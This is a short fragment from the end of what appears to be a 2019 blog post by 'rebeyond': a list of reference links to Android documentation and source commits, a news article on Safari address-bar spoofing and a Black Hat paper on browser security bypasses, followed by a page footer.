  2. https://developer.android.com/reference/android/support/test/espresso/web/bridge/JavaScriptBridge
  3. https://www.bleepingcomputer.com/news/security/apples-safari-falls-for-new-address-bar-spoofing-trick/
  4. https://www.blackhat.com/docs/asia-16/materials/asia-16-Baloch-Bypassing-Browser-Security-Policies-For-Fun-And-Profit-wp.pdf
  5. https://android.googlesource.com/platform/frameworks/base/+/4afa0352d6c1046f9e9b67fbf0011bcd751fcbb5
  6. https://android.googlesource.com/platform/frameworks/base/+/0b57631939f5824afef06517df723d2e766e0159
posted @ 2019-05-24 09:21 rebeyond 阅读(...) 评论(...) 编辑 收藏